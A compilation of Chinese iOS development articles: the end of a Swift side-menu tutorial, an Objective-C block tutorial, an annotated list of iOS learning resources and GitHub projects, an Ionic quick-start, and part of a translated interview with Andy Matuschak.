在 ViewController 的合适位置增加以下代码：


swift// 绑定单击收起菜单
let tapGesture = UITapGestureRecognizer(target: self, action: "showHome")
mainView.addGestureRecognizer(tapGesture)



修正 OtherPageViewController 中返回按钮不能正常相应的问题


swiftoverride func viewDidLoad() {
    super.viewDidLoad()

    self.title = PageTitle
    mainLabel.text = PageTitle

    // 自定义返回按钮
    let backButton = UIBarButtonItem(title: "く返回", style: UIBarButtonItemStyle.Plain, target: self, action: "goBack")
    self.navigationItem.leftBarButtonItem = backButton

    // 弥补因为返回按钮被替换导致的边缘滑入手势失效的问题
    let gesture = UIPanGestureRecognizer(target: self, action: "goBack")
    self.view.addGestureRecognizer(gesture)
}

func goBack() {
    self.navigationController?.popViewControllerAnimated(true)
}



查看效果





《再造 “手机QQ” 侧滑菜单》系列文章到此结束，谢谢大家！








原文：再造 “手机QQ” 侧滑菜单（三）——视图联动
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废话


开发iOS距离一年还有四个月。block的文章看了很多。也在项目中使用了，但是使用率很低，仅限于最最简单的界面传值。


我最近处于一个深度学习和补作业做实验的阶段(重点是补作业和做实验)，而且经历了两个项目现在对于OC的理解又更进了一步。于是抽时间把之前下载的关于block的视频又翻出来看了一下。有一些感受写出来，以便CM和PLUSUB以后的iOSer可以很快的学习到关于block的使用。以后这样的文章都会在标题加一个FOR CM AND PLUSUB。


概述


block就是闭包，可以用来回调。


再简单一点，指向函数的指针。


我现在只会简单的使用block，下午写了个demo利用block封装了afnetworking然后在另一个界面调用afnetworking的请求。当然不复杂。


上代码吧，不然再废话都解释不清楚什么是block。


Part1 block的简单定义


我现在定义一个简单的block。


void (^myBlock)(NSString *str);//1
myBlock = ^(NSString *str)
{
    NSLog(@"---%@", str);//2
};
myBlock(@"11111");//3
// Outputs:---11111



可以这么理解，我定义了一个返回值为void类型的block。void后面跟了一个函数，但是这个函数函数名是以^开头的，需要用括号包起来，参数也需要用括号包起来。参数可以是一个int类型，可以是一个NSString类型，还可以是一个函数！可以是多个参数还可以是一个函数。当然如果是int类型的block就需要return一个返回值了。


然后我们开始对这个void类型的函数进行定义。就是令它等于一个“^+参数”然后里面像定义一个函数一样就行了。

在调用这个block的时候就直接就myBlock加参数就可以了。


我们可以打断点来看一下整个block的执行顺序。我在代码后面加了标示。


执行顺序是1 3 2，可以看到myBlock没有按照程序执行的顺序来调用而是在调用之后执行了2的代码。这个例子可能不那么明显，但是可以开始初步理解回调。


Part2 传参block


下面把难度加大一点，我们把block当参数传。然后看一个block的例子。

首先来回顾一个c语言里伟大的typedef，我们开头会利用typedef定义一个block。如果不利用typedef定义一个block，那么函数传参的时候会写很多代码。一会我会详述。


#import "ViewController.h"
typedef void (^MyBlock)(NSString *str);//typedef定义一个block

@interface ViewController ()
@end

@implementation ViewController
- (void)viewDidLoad {
    [super viewDidLoad];
    MyBlock tblock = ^(NSString *str) {
    NSLog(@"-----%@", str);//1
    };
    [self testBlock:tblock];//2
}
- (void)testBlock:(MyBlock)mBlock
//如果开始没有用typedef定义的话，此处的函数变为- (void)testBlock:(void(^)(NSString *str))myblock
//简单的说格式就是 “返回值 + (^) + 参数 + 名字”
{
    mBlock(@"1111");//3
}
// Outputs:-----1111



在上面的代码中，我们写了一个testBlock的函数，将我们的tblock作为参数传到了testBlock函数里面，然后再testBlock里用mBlock调用了我们所写的MyBlock这个函数。


打断点看一下整体的运行流程，2 3 1。这里可以更加明显理解“回调”的含义。


Part3 点击button触发block


经历了上面两个part基本上应该对block有个简单的理解。下面再加一点难度，用按钮触发一个回调来改变按钮的颜色。


不多解释，直接上代码。


#import "ViewController.h"
typedef void (^MyBlock)(UIColor *color);
@interface ViewController ()
@property (nonatomic, strong) UIButton *testbtn;
@end

@implementation ViewController
- (void)viewDidLoad {
    [super viewDidLoad];
    self.testbtn = [UIButton buttonWithType:UIButtonTypeSystem];
    self.testbtn.frame = CGRectMake(0, 0, 200, 40);
    self.testbtn.backgroundColor = [UIColor greenColor];
    [self.view addSubview:self.testbtn];
    [self.testbtn addTarget:self action:@selector(testfunc) forControlEvents:UIControlEventTouchUpInside];
}
- (void)testfunc
{
    MyBlock myblock = ^(UIColor *color) {
    self.testbtn.backgroundColor = color;
    };
    [self testBlock:myblock];
}
- (void)testBlock:(MyBlock)myBlock
{
    UIColor *color = [UIColor redColor];
    myBlock(color);
}



Part4 利用回调分离afnetwork的请求


直接上代码了。


TestNetworkViewController是afnetwork使用的地方。

TestViewController是我们需要调用网络请求的地方。

SearchModel是一个model，我用来解析数据的。


//  TestNetworkViewController.h
#import <UIKit/UIKit.h>
#import "SearchModel.h"
typedef void (^GetModel)(SearchModel *model);
@interface TestNetworkViewController : UIViewController
+ (void)getUrl:(GetModel)getmodel;
@end

//TestNetworkViewController.m
#import "TestNetworkViewController.h"
@interface TestNetworkViewController ()
@end
@implementation TestNetworkViewController
- (void)viewDidLoad {
    [super viewDidLoad];
}
+ (void)getUrl:(GetModel)getmodel
{
    AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager];
    [manager GET:@"http://xxx.xx.xxx.xx:xxxx/app/search_haosou" parameters:@{@"keyword":@"android"} success:^(AFHTTPRequestOperation *operation, id responseObject) {
    NSLog(@"JSON: %@", responseObject);
    SearchModel *service = [MTLJSONAdapter modelOfClass:SearchModel.class fromJSONDictionary:responseObject error:nil];
    getmodel(service);
    } failure:^(AFHTTPRequestOperation *operation, NSError *error) {
    NSLog(@"Error: %@", error);
    }];
}
@end

//  TestViewController.h
#import <UIKit/UIKit.h>
#import "SearchModel.h"
@interface TestViewController : UIViewController
@end

#import "TestViewController.h"
#import "TestNetworkViewController.h"
#import "SearchModel.h"
@interface TestViewController ()
@property (nonatomic, strong) SearchModel *test;
@end

@implementation TestViewController
- (void)viewDidLoad {
    [super viewDidLoad];
    // Do any additional setup after loading the view.
    UIButton *testBtn = [UIButton buttonWithType:UIButtonTypeSystem];
    [testBtn setTitle:@"test" forState:UIControlStateNormal];
    [testBtn setTitleColor:[UIColor redColor] forState:UIControlStateNormal];
    testBtn.frame = CGRectMake(0, 100, 200, 40);
    [testBtn addTarget:self action:@selector(getUrl) forControlEvents:UIControlEventTouchUpInside];
    [self.view addSubview:testBtn];
    self.view.backgroundColor = [UIColor whiteColor];
}
- (void)getUrl
{
    [TestNetworkViewController getUrl:^(SearchModel *model) {
    self.test = model;
    NSLog(@"\n\n\n\n%@", self.test);
    }];
}



总结


首先还是得说一下我这里只是演示了最最简单的block使用，因为作为一个iOS开发者不会block，那么有一大半的代码是看不懂的，在后面理解RAC的时候也会出现很大的问题。所以这里我只是做了简单的说明，至于在block里为什么不能调用self，自从segmentfault上有人问过之后我答错之后现在也算是理解了一部分了，但是牵扯到了内存回收的问题，我还需要一段时间来消化。消化完之后会继续写博客的。


总之，block非常的有用，初期写block非常的难过，但是难过过了也就慢慢会喜欢上block的。


 【超齐全】iOS 学习资料整理

作者：BenCHou

来源： 【超齐全】iOS 学习资料整理



                    
好赶货，收藏。原文iOS 学习资料整理


这份学习资料是为 iOS 初学者所准备的, 旨在帮助 iOS 初学者们快速找到适合自己的学习资料, 节省他们搜索资料的时间, 使他们更好的规划好自己的 iOS 学习路线, 更快的入门, 更准确的定位的目前所处的位置.


该文档会持续更新, 同时也欢迎更多具有丰富经验的 iOS 开发者将自己的常用的一些工具, 学习资料, 学习心得等分享上来, 我将定期筛选合并, 文档尚有一些不完善之处, 也请不吝指出, 感谢您对 iOS 所做的贡献, 让我们一起把国内的 iOS 做得更好, 谢谢.


GitHub 地址: https://github.com/Aufree/trip-to-iOS


如果您有任何意见也可以通过邮件或微博联系我


视频教程(英文)




	视频
  	简介





	Developing iOS 7 Apps for iPhone and iPad
  	斯坦福开放教程之一, 课程主要讲解了一些 iOS 开发工具和 API 以及 iOS SDK 的使用, 属于 iOS 基础视频



	iPad and iPhone Application Development
  	该课程的讲师 Paul Hegarty 是斯坦福大学软件工程学教授, 视频内容讲解得深入, 权威, 深受好评



	Advanced iPhone Development - Fall 2010
  	iOS 开发的进阶课程, 开始涉及到 Core Animation, Core Data, OpenGL 等框架的应用



	iOS Dev Center
  	苹果官方提供的 iOS 学习视频



	Lynda
  	Lynda 上面 iOS 和 Objective-C 的学习资料比较多, 从初级到高级的都有, 覆盖面比较广, 无论 iOS 走到哪个层次, 都可以在上面挑到适合自己的课程



	Code School
  	CodeSchool 上面的 iOS 不多, 不过质量都不错, 一些课程也挺有趣的



	Udemy
  	Udemy 帮助初学者规划了视频学习路线, 从新手到高级分的比较详细





视频教程(中文)




	视频
  	简介





	iOS 7应用开发
  	斯坦福白胡子老爷爷的系列视频, 所有视频皆完成翻译, 视频较新, 翻译质量也很高



	iPhone开发教程2010年冬
  	全部视频翻译完毕, 较为深入的讲解 iPhone 开发, 视频适合给有一定 Objective-C 基础的人观看



	使用Swift开发iOS8 App实战
  	慕课网的视频, 主要讲 Swift 的一些基本使用, 并在讲解的过程中做了几个小 APP, 最后还讲了 Sketch 制作分享按钮



	征战Objective-C
  	视频还未完结, 讲了一些 C 和 Objective-C 的基本语法, 适合零基础的人观看





书籍




	书籍名称
  	推荐理由





	Objective-C Programming
  	内容不多, 却都是精华, 有了一点 C 语言基础可以快速阅读此书, 大概一天时间就可以看完, 看完后对 iOS 开发能够有个基本的印象



	iOS Programming
  	这本书在 Quora 上被评为 iOS 入门最佳书籍, 具体评价可见豆瓣下方该书籍的评论



	Cocoa Design Patterns
  	适合打算深入了解 Cocoa 的人看



	Learn Objective-C
  	短小精练, 适合有编程基础的人在半小时内对 Objective-C 有个一定了解



	Programming with Objective-C
  	看完 Learn Obj-C 可以接着看这个官方对 Objective-C 更为深入的介绍



	Objective-C 基础教程
  	该书作者 Scott Knaster 是 Mac 开发界的传奇人物, 目前在 Google 出过多数书籍都广受许多程序员好评, 此书适合从初级跳到中级的 iOS 开发者阅读



	iOS 开发进阶
  	该书作者唐巧是国内 iOS 开发界的名人, 曾参与多个知名软件的开发, 目前该书尚在预售中, 书本内容由浅入深, 将读者一步一步引入到 iOS 中去, 同样适合初级跳到中级的 iOS 开发者阅读



	Programming in Objective-C
  	这本书在亚马逊上面深受欢迎, 有关 Objective-C 的东西讲得非常详细



	iOS 测试指南
  	该书作者是豆瓣的员工, 书中写的多数内容都是作者在平时的工作实践当中提炼出来的测试经验, 重点讲述了各个测试阶段的具体实践方法, 并且通过持续集成串联了各个测试阶段的活动。



	Objective-C编程之道
  	解析 iOS 的开山之作, 详细介绍了 MVC 在 Cocoa Touch 上的运作过程, 该书适用于 iOS 中级开发者阅读



	Objective-C高级编程
  	本书主要介绍 iOS 与 OS X 多线程和内存管理, 深入破析了苹果官方公布的源代码, 告诉你一些苹果公司官方文档中不会出现的知识, 适合中级以上 iOS 开发人员阅读



	Effective Objective C 2.0
  	书里写了编写高质量iOS与OS X代码的52个有效方法, 适合 iOS 开发的进阶使用



	Swift Fundamentals
  	估计将来这本书会成为 Swift 的经典入门书籍, 它的 Stars 数说明了一切



	The Swift Programming Language 中文版
  	90 后开发者梁杰组织翻译的 Swift 编程语言中文版





博客




	博客地址
  	博主信息





	OneV's Den
  	王巍(喵神), 现居日本, 就职于 LINE, 知名 iOS 开发者, 写的文章大多深入浅出, 内容广泛, 目前在维护的 Swifter 也值得收藏



	唐巧的技术博客
  	唐巧, 国内知名 iOS 开发者, 现就职于猿题库, 博客推出的 iOS 移动开发周报很受欢迎, 更新频繁



	txx's blog
  	90 后 iOS 开发者, 人称虾神, 文章内容讲解大多浅白易懂, 很值得看



	破船之家
  	博主也是 iOS 大神一个, 经常更新一些 iOS 教程, 文章的质量都很高, 非常值得看



	NSHipster
  	NSHipster 的中文网站, 主要对 NSHipster 的英文网站进行翻译, 博文出自 Mattt 大神之手, 文章大都写得很深入, 详细, 每周一更



	Limboy 无网不剩
  	李忠, 知乎前员工, 目前在负责花瓣 iOS 开发, 不少文章里面有介绍博主个人的学习方法, 让读者在学到技术的同时也掌握学习的技巧



	念茜的博客
  	iOS 圈的女神人物, 写的关于安全问题的文章都值得一看, 由于新博客刚开通不久, 目前文章较少, 可以去看下她以前的博客




	iOS技术周报
  	吴发伟, 天猫资深软件开发工程师, iOS 技术周报每周一更, 推送一些 iOS 技巧, 代码库, 设计等资讯.



	iWangKe.me
  	王轲, IndieBros Studio 创始人, 优秀的 iOS 开发工程师, 写的文章深入浅出, 很多问题分析透彻, 非常有条理性



	叶孤城
  	叶孤城, 优秀 iOS 开发工程师, 发表的文章都有很多干货, 对源码解析类文章写得浅显易懂, 并时常总结一些 iOS 开发技巧, 值得一读



	Kevin Blog
  	周楷雯, 秒视创始人, 知名 iOS 工程师, 做出了 PNChart和 Waver 这样的好项目, 在博客中也有谈到具体的实现过程



	IMTX
  	图拉鼎, 知名 Apple 平台开发者, 曾经的 Ubuntu 平台开发者, 文章有不少干货, 大多讲解技术实现和学习经验



	更多
  	唐巧收集的中文 iOS/Mac 开发博客列表, 更新频繁, 值得收藏





文章




	标题
  	内容简介





	Learn Objective C: The Path to iPhone Development
  	Udemy 写的文章, 说明了一些学习 Objective-C 的前提条件, Objective-C 的发展历史, 学习方法以及学习资源



	I Want to Write iOS Apps. Where Do I Start?
  	主要对 iOS 的开发环境进行了介绍, 并且涉及到了 Swift 的学习, iOS 上架的注意事项, iOS 的设计, 测试, 代码托管等, 讲解较为广泛, 同时也给出不少学习资源



	How to become a professional iOS developer
  	文章写的很有条理, 文中多次强调了版本控制系统的重要性, 主要内容是对学习 iOS 开发到就职, 给出了自己的建议



	Learning iOS Programming
  	作者总结了一些自己学习 iOS 的血的教训, 最后给出了一些不错学习建议



	Become an iOS Developer
  	作者列举了一些学习 iOS 的方法以及常用的库, 以及自学 iOS 的一些建议



	iOS开发如何提高
  	唐巧写的一篇文章, 主要是对 iOS 技术的提高做的一个总结, 文中不少资源, 工具, 学习方法



	自学 iOS 开发的一些经验
  	文章从入门到进阶到高级, 分为三个阶段, 有条理的讲出了 iOS 的整个学习过程中开发者可能遇到的问题, 并给出了解决办法, 奉献了不少好工具, 资源还有珍贵的学习经验



	如何从 0 开始学 iOS 开发
  	作者给出了学习 iOS 的流程, 并给出一些不错的学习资源



	如果我可以重新学习iOS开发
  	作者在文中给出了学习的一些建议, 也谈到了自己的学习方法



	iOS开发学习路径的一些建议
  	文中谈到了英语的重要性, 以及写博客, 看源代码的好处



	iOS 开发入门
  	作者分享了自己学习 iOS 的经验和资源



	Mac 和 iOS 开发资源汇总
  	破船之家发布的资源汇总





相关网站




	网站
  	简介





	tutsplus
  	不定时更新一些 iOS 教程



	WWDC
  	苹果官方每年一度的 WWDC 视频, 可以了解历年有关 iOS 发布的内容



	ASCIIwwdc
  	WWDC 的文字版



	Awesome Swift
  	该网站收集了很多关于 Swift 的学习资料, 新闻



	Appcoda
  	经常发布一些 iOS 编程教程, 更新比较频繁, 想了解更多可以查看该网站的 About 界面



	NSHipster
  	NSHipster is a journal of the overlooked bits in Objective-C, Swift, and Cocoa. Updated weekly.



	Think and Build
  	Some tutorials about Core Graphic and Core Animation.



	Tutorials
  	大把的 Objective-C, Swift, iOS 教程, 且全部免费, Raywenderlich 真是业界良心, 赞!





社区




	社区
  	简介





	CocoaChina
  	全球最大苹果开发者中文社区



	code4app
  	经常更新一些很不错的 iOS 代码片段和一些 iOS 资源



	objc
  	定期发布一些有关 Objective-C 的高质量的文章



	objc中国
  	喵神组织的对 objc.io 的翻译网站, 旨在推进国内技术圈整体水平, 翻译质量非常高



	DevDiv
  	发布一些 iOS 的最新资讯及教程



	Cocos2d-x
  	Cocos2d-x 论坛



	iPhone Dev SDK
  	国外较有名的 iOS 开发者论坛



	Learn Cocoa and iOS Development Forum
  	
Learn Cocoa on the Mac 和 Beginning iOS 7 Development 这两本书籍的官方论坛, 用户活跃度较高



	Apple Developer Forums
  	苹果官方的开发者论坛





工具/插件




	工具/插件
  	简介





	CocoaPods
  	开发 OS X 和 iOS 应用程序的一个第三方库的依赖管理工具, 本身是 Ruby 的一个 gem, 极大的简化了 Objective-C 的开发流程



	Alcatraz
  	Alcatraz 是一款管理 Xcode 插件、模版以及颜色配置的工具



	XcodeColors
  	使 Xcode 调试控制台色彩更丰富



	xctool
  	Facebook 开源的一个 iOS 编译和测试的工具



	XToDo
  	一款注释辅助插件，主要用于收集并列出项目中的TODO, FIXME, ???, !!!




	KSImageNamed-Xcode
  	自动补全图片命名的一款插件



	VVDocumenter
  	一个自动生成代码注释的工具



	ImageOptim
  	用于压缩图片一款工具



	iOS 必备的 75 个工具
  	其中包含了非常多好用的工具, 涉及到设计, 分析, 部署等, 总结的十分详细, 有中文翻译




	更多
  	唐巧总结的一些图形应用工具, 命令行工具, Xcode 插件, 并介绍了一点基础的用法





GitHub Top 50 简介


主要对当前 GitHub 排名前 50 的项目做一个简单的简介, 方便初学者快速了解到当前 Objective-C 在 GitHub 的情况.




	项目名称
  	项目信息





	1. AFNetworking

  	作者是 NSHipster 的博主, iOS 开发界的大神级人物, 毕业于卡内基·梅隆大学, 开源了许多牛逼的项目, 这个便是其中之一, AFNetworking 采用 |NSURLConnection + NSOperation, 主要方便与服务端 API 进行数据交换, 操作简单, 功能强大, 现在许多人都用它取代 ASIHTTPRequest



	2. GPUImage

  	一款强大的图片滤镜工具, 支持自定义滤镜, 可用来实时处理图片和视频流, 作者是 SonoPlot 公司的 CTO, 在很小的时候便开始接触编程, 他在 SO 上面的回答也有很多值得阅读, GPUImage 这个项目从 2012 年开始, 使用 OpenGL 图形程序接口编写, 性能非常好, 现在很多 iOS 程序员都用它来实现 iOS 的模糊效果



	3. three20

  	由 Facebook iOS 客户端衍生出的一款 iPhone 框架, 内置许多丰富的功能, 有丰富的界面, 对底层的操作便捷, 为开发者省下了很多时间, 但现在已经停止了更新, 一个 PR 把代码删得干干净净, 不要好奇去点开 Files changed, 我点开后该页面直接卡死, three20 当中的一位作者创建了 Nimbus, 算是 three20 的一个替代品



	4. RestKit

  	主要用于 iOS 上网络通信, 允许与 RESTful Web 服务交互, 常用于处理 API, 解析 JSON, 映射响应对象等操作, 简单易用, 方便你把所有精力都放在对数据的操作上



	5. SDWebImage

  	作者 Olivier Poitrey 是 Dailymotion 的 CTO, 拥有多个不错的开源项目, 此项目常用于对从 Web 端接受到的图片进行缓存, 是 UIImageView 的扩展, 应用起来比较简单



	6. ReactiveCocoa

  	由 GitHub 工程师们开发的一个应用于 iOS 和 OS X 开发的函数响应式编程新框架, Matt 称其为 "An open source project that exemplifies this brave |new era for Objective-C", 也有人说它是 Cocoa 的未来, 具体可看唐巧写的这篇文章




	7. MBProgressHUD

  	作者 Matej Bukovinski 是一位全栈工程师, UI/UX 设计师, 此项目是一款提示框第三方库, 帮助开发者快速应用到项目中)



	8. MagicalRecord

  	作者是 Coursera 的 iOS 工程师, 该项目创作灵感来自于 Ruby on Rails 的 Active Record, 主要为方便操作 CoreData 而生, 帮助清除 CoreData 引用的代码, 协助方便 CoreData 的工作



	9. FMDB

  	一个对 SQLite 进行封装的库, 使用起来方便, 简单



	10. ASIHTTPRequest

  	一个轻量级的 iOS 网络通信类库, 基于 CFNetwork 框架开发, 但现在已经停止更新, 多数开发者改用 AFNetworking 替代)



	11. Mantle

  	作者是 GitHub 的员工, 文档写的很清楚: Mantle makes it easy to write a simple model layer for your Cocoa or Cocoa Touch application, 主要用来将 JSON 数据模型化为 Model 对象, 唱吧在前段时间也改用 Mantle 了.



	12. FlatUIKit

  	收集了很多扁平化 UI 的 iOS 组件, 方便使用



	13. Facebook SDK for iOS

  	Facebook 官方的 iOS SDK, 方便开发者集成 Facebook 的一些功能到自己的 iOS APP 里面



	14. JSONKit

  	主要用于解析 JSON, 适用于 iOS6 以下环境, 自从 iOS5 开始 Apple 官方给出了 NSJSONSerialization API, 自此大家都用官方的了



	15. Slate

  	一款窗口管理应用程序, 但在两年前就已经停止更新了



	16. Nimbus

  	作者 Jeff 曾为 Facebook, Google 做过不少好东西, 也是 three20 的成员之一, three20 停更后, 他创造出这个框架来代替 three20, 文档齐全



	17. FastImageCache

  	Path 公司出品的 iOS 库, 作者 Mallory Paine 是苹果前员工, 此类库适用于在滚动时快速显示图像, 高速持久是其最大的特点



	18. SVProgressHUD

  	又一款轻量级的 iOS 第三方控件, 用于显示任务加载时的动画, 非常轻便, 容易使用



	19. Shimmer

  	Facebook 推出的一款具有闪烁效果的第三方控件, 供它旗下一款名为 Paper 的应用使用, 安装使用整个过程都十分简单



	20. CocoaLumberjack

  	这是 Mac 和 iOS 的一款强大的日志框架, 配置简单, 多线程, 提供更高级的 log 功能, 可用于代替默认的 NSLog 语句



	21. ViewDeck

  	一款开源的 iOS 活动面板组件, 还原 Path 2.0 的侧滑效果, 作者因为时间关系在两年前停止对其更新



	22. Alcatraz

  	Alcatraz 是一款管理 Xcode 插件、模版以及颜色配置的工具, 可以集成到 Xcode 的图形界面中, 安装删除都是几条命令的事, 很方便, 支持自己开发插件并上传



	23. OpenEmu

  	超强的游戏模拟器, 做游戏开发必备, 官网做得也很不错



	24. AsyncDisplayKit

  	Facebook 开源的一款 iOS UI 框架, Paper 用的就是该框架, 另外框架还用到了 Facebook 早期开源 Pop 动画引擎



	25. Xctool

  	是 Facebook 开源的一个命令行工具，用来替代苹果的 XcodeBuild 工具, 极大的方便了 iOS 的构建和测试, 输出错误信息也比较友好, 受到许多 iOS 开发者的称赞, 经常与其搭配使用的还有 OCUnit, Travis CI, OCLint 等测试工具



	26. iCarousel

  	作者是英国 Charcoal Design 公司的创始人, 开源领域的贡献颇为卓著, 这个项目就是其中之一, 这是一款可以在 iOS 上实现旋转木马视图切换效果的第三方控件, 并提供多种切换效果



	27. FLEX

  	这是 Flipboard 官方发布的一组专门用于 iOS 开发的应用内调试工具, 开发者无需将其连接到 LLDB/Xcode 或其他远程调试服务器,支持直接在 App 中运行



	28. Cocos2D Swift

  	这是 Swift 语言版本的 Cocos2D 游戏开发引擎, 核心开发者是 Ricardo Quesada, 已经为该项目贡献了 100W 行左右代码, GitHub 上更新较为频繁



	29. TapkuLibrary

  	作者是 Devin Ross, 这是在 iOS 上一款功能强大的 UI 效果类库, 可以实现多种酷炫的效果, 目前仍在更新中



	30. Masonry

  	一个轻量级的布局框架, 同时支持 iOS 和 Mac OS X, 语法优雅, 帮助开发者快速适配不同分辨率的 iOS 设备



	31. AwesomeMenu

  	作者是一位中国人, 该项目主要是使用 CoreAnimation 还原了 Path menu 的动画效果



	32. PonyDebugger

  	由 Square 公司推出的一款优秀的 iOS 应用网络调试工具, 用户可以实时看到应用程序的网络请求, 也可以对 iOS 应用程序的核心数据栈进行远程调试



	33. NewsBlur

  	作者独自一个人 Samuel Clay 做出来的一款名为 NewsBlur 的新闻阅读器, 很多人都称其为 Google Reader 的替代品, 这是它的源码



	34. JVFloatLabeledTextField

  	作者是 Thumb Labs 的联合创始人, JVFloatLabeledTextField 是 UITextField 的子类, 主要实现输入框标签浮动效果, 创作灵感来自 Dribbble, 已出现多个移植版本



	35. Json Framework

  	用于解析 JSON 数据的一个框架, 但是在 iOS5 以上版本大多数人都选择使用 NSJSONSerialization 来解析 JSON, 该项目现在在 GitHub 上也几乎没怎么更新了



	36. The Physical Web

  	由 Chrome 团队主导的一个项目, 意在用 URL 连接世界, 方便用户接受数据, 目前尚处在实验阶段



	37. Reachability

  	Reachablity 是用于检测 iOS 设备网络环境的库



	38. RESideMenu

  	作者 Roman Efimov 是雅虎的 iOS 工程师, 这个项目实现了 iOS 上的菜单侧滑效果, 创意来源于 dribbble, 该项目支持 iOS8



	39. CocoaAsyncSocket

  	一个功能强大、简单易用的异步 socket 通讯类库, 支持 TCP 和 UDP 协议, 可用于 Mac 和 iOS 设备上, 作者 Robbie Hanson 是 Deusty 的首席软件工程师



	40. ECSlidingViewController

  	一个视图控制器容器, 将子视图处理成两层, 通过滑动来处理层的切换, 创作灵感来自 Facebook 和 Path的 APP, 作者是 Cleveland 的员工



	41. SWTableViewCell

  	UITableViewCell 的子类, 实现了左右滑动显示信息视图并调出按钮



	42. TTTAttributedLabel

  	UILabel 的替代品, 使 iOS 上的 Label 功能更加丰富, 可支持链接植入等功能



	43. Canvas

  	无需编码实现牛逼的动画效果的库, 连设计师都可以快速上手



	44. SocketRocket

  	Square 公司开源的一个 WebSocket 客户端, 稳定并且易用, 做实时应用常会用到, 受广大开发者喜爱



	45. Tweaks

  	Facebook 开源的一款工具, 旨在帮助 iOS 开发者更快的迭代应用, 方便用户动态的调整参数, 是的, Paper 这个项目也用到了



	46. JSQMessagesViewController

  	优雅的 iOS 消息类库, 常用于聊天应用中, 可定制性高



	47. PNChart

  	作者周楷雯是 90 后, 秒视的创始人, 该项目是一个带动画效果的图表控件, 简约易用, 受到不少开发者喜爱



	48. VVDocumenter-Xcode

  	作者是王巍国内著名的 iOS 开发者, 人称喵神, 目前在日本 LINE 公司工作, 该项目帮助开发者轻松的生成注释文档, 节省了不少工作量, 赞



	49. Appirater

  	一款用于提醒用户给你的 APP 打分的工具



	50. BlocksKit

  	一个开源的与 Cocoa 紧密集合的基础性框架
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iOS Dev Weekly (每周一期，内容多为这一星期里值得关注的 GitHub 项目、文章、工具等)
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iOS Developer Library (iOS 开发必看, 有此文档足矣, 内容非常之详细) 



指南/教程
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  	简介





	App Store Review Guidelines
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	Swift 语言指南
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  	文章主要讲解 Objective-C 的一些语法, 文章内容有趣且通俗易懂



	A map for iOS development
  	一张 iOS 开发地图, 做得很赞, 看完对 iOS 开发流程有一定的认知



	Start Developing iOS Apps Today
  	苹果官方给出的 iOS 入门教程, 看过之后能够做一个 To-Do 小程序
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  	讲解 Objective-C 的教程, 图文并茂, 适合新手阅读





Awesome 系列
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知乎上的讨论



	如何才能系统的学习 iOS 开发，理解一些规则和深层次的机制原理？

	没有 C 和 Objective-C 基础如何快速学习 iOS 开发？

	iOS 开发怎么入门?

	iOS 开发入门需要学习哪些知识，从一无所知到精通需要多长时间？

	12 岁如何入门 iOS 编程？

	
GitHub 上都有哪些值得关注学习的 iOS 开源项目？ 
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	What are the best resources to learn iOS development?

	
What are the best new resources for learning iOS development in 2014? 
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 3 Step：前端工程师使用 ionic 开发iOS App

作者：Integ

来源： 3 Step：前端工程师使用 ionic 开发iOS App



                    
@王铁手 同学用 Ionic框架 一晚上撸了个iOS App，看上去很不错。给大家分享一下


ionic是一个扩展性极强（组件非常多）的前端的框架，号称：



  The world's first full-stack hybrid mobile platform




可以帮助开发者使用HTML5、CSS3和JavaScript快速做出原生应用。


一些对它的评价：




	优势
  	劣势





	完美融合AngularJS
  	测试阶段，有Bug



	全套UI组件（下拉刷新、无限加载、标签等）
  	变换&动画效果不够流畅



	社区活跃、框架适用范围广
  	





ionic 使用 nodeJs 搭建，对于熟悉node的前端来说用起来非常简单：



	
安装Lonic


$ npm install -g cordova ionic     




	
创建项目


$ ionic start myApp tabs 




	
运行项目


$ cd myApp
$ ionic platform add ios
$ ionic build ios
$ ionic emulate ios







 【翻】终身学习的一代人

作者：烧碱Jusef

来源： 【翻】终身学习的一代人



                    
摘自Objc Issue #20 Interviews, 01.2015
原文地址 ；作者Andy Matuschak


安迪，谢谢你抽空接受我们的采访。你能否稍微谈谈当初你是如何走上编程这条路？



  我想，和很多朋友一样，是通过游戏。实际上在我小时候一段时间内，我被禁止玩游戏，于是我就经常去公共图书馆。在我九岁的时候，我发现那些所谓教你如何编程的书籍实际上只是众多基本的源码清单。还有一些讲游戏设计的书整本都是源码。所以当我有机会玩游戏时我会把这些源码输入计算机，当然经常会在半路出现语句错误并且我既不能识别错误信息也不知道如何修复。因此我只能重头再来，直到我能玩上游戏。几次这样尝试之后我意识到我有能力修改游戏，自那以后事情就一发不可收拾了。

      我想我是在十岁的时候学会了C++，因为那时人们都用C++写游戏；之后我尝试去写一个多用户网络（MUD）游戏，这是我个人第一个大的项目。它运作得还不错。




你完成它了吗？



  在单人游戏场景中，它运作的很流畅；但是显然它还没完成多用户网络游戏中的多玩家模式。所以我想答案是没有。后来我着迷于图形、GL、3D渲染之类的事物。




之后你有继续在制作游戏吗？



  我曾经做过一段时间的游戏引擎，看了所有标准的OpenGL教程：旋转立方体、颗粒引擎以及其他诸如此类的事情，然后我开始制作真正的游戏——那真是在13岁年纪瞎忙的活生生例子。我意识到那时没有一个适用于制作游戏内容的图表工具，因此我的室友和我开始制作一个像素工具。当时它被叫做Pixen。那是我第一次接触Cocoa而且它还是开源的。当我们推出1.0版本时，我想我还是14岁，我们去商场中苹果商店的OS X Panther（应当是Jaguar？）的发布会。他们那个时候开始搞发布会了！我们想要把Pixen的CD送给他们。




如果当时你不成为一名程序员，有可替代的选择吗？在其他任何事情上你有过极大兴趣吗？



  我那时候就想成为某种工程师。我曾痴迷于电力工程甚至高中的化学小实验，所以这些方向也不妨是一个选择，而软件工程是我当时真正能着手做的。那个时候，我还称呼其为编程而不是软件工程，然后一些人告诉我「不，不，你应该称之为'计算机科学'!」当然，那个时候我并没有明白在计算机科学、软件工程以及编程之间暗涌的有趣的文化差异，我只是觉得它们都是实用清晰的术语。但是我们偶尔会犯某种程度上的误用。




没错。所以目前基本上你算是一个软件工程师？



  尽管我是学计算机科学的，但我显然不是一个计算机科学家。我会说某种程度上我是一个软件工程师，一个深受计算机科学影响的软件工程师。最近我会花约一半时间在幼儿成长方面做更多的研究工作，论文和书籍阅读以寻找灵感看看我们如何能这块儿领域贡献力量。




离开苹果并加入可汗学院，帮助人们学习和教育，看起来是相当大的跳跃。为什么会做出这样的选择？什么事情激励了你？



